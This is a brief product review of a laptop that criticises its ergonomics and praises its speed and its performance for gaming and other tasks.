It takes more than slapping the latest and greatest components together to make a good laptop. It seems little ergonomics research has gone into the design of this one. That being said, it's super fast and should provide great performance for any type of activity, gaming included.